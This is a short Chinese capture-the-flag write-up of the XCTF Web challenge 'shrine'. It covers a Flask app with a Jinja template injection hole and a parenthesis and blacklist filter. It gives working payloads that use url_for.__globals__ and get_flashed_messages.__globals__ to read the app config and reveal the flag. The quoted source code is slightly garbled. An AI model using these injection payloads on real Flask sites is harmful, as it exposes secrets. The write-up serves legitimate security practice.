攻防世界-Web-shrine

知识点

1.SSTI

步骤

打开网站,是一份pythone flask框架代码,分析。

python 复制代码
import flask
import os

app = flask.Flask(__name__)
app.config["FLAG"] //将flag写入config中
l = os.environ.pop("FLAG")


@app.route("/")   //访问根目录,读取__file__的内容
def index():
    return open(__file__).read()


@app.route("/shrine/")
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace("(", "").replace(")", "") //过滤括号
        blacklist = ["config", "self"]    //黑名单,过滤config和self
        return "".join(["{{% set {}=None%}}".format(c) for c in blacklist]) + s //按照黑名单的过滤

    return flask.render_template_string(safe_jinja(shrine))  //存在模版注入


if __name__ == "__main__":
    app.run(debug=True)

可以发现在config中存在flag,所以目标就是读取config

1.测试模版注入

2.正常读取config

发现被过滤成None

3.尝试其他读取方式

使用get_flashed_messages或者url_for.__globals读取config

python 复制代码
{{url_for.__globals__['current_app'].config}}

{{get_flashed_messages.__globals__['current_app'].config}}

flag{shrine_is_good_ssti}

相关推荐
是Yu欸9 小时前
【博资考5】网安2025
网络·人工智能·经验分享·笔记·网络安全·ai·博资考
jenchoi4139 小时前
【2025-11-02】软件供应链安全日报:最新漏洞预警与投毒预警情报汇总
安全·web安全·网络安全
骥龙10 小时前
2.4、恶意软件猎手:基于深度学习的二进制文件判别
人工智能·深度学习·网络安全
儒道易行11 小时前
【攻防实战】通达OA文件上传联动Cobalt Strike打穿三层内网(下)
网络安全
风语者日志11 小时前
[LitCTF 2023]作业管理系统
前端·网络·安全·web安全·ctf
belldeep13 小时前
网络安全:zoomeye.org ,Quake.360.cn
网络安全·zoomeye·quake.360
介一安全1 天前
【Web安全】泛微OA框架SRC高频漏洞分析总结
web安全·网络安全·安全性测试
emma羊羊2 天前
【weblogic】文件上传漏洞
安全·网络安全·靶场·weblogic
jenchoi4132 天前
【2025-11-01】软件供应链安全日报:最新漏洞预警与投毒预警情报汇总
网络·安全·web安全·网络安全
沐矢羽2 天前
upload文件上传漏洞浅析
学习·web安全·网络安全·文件上传·top10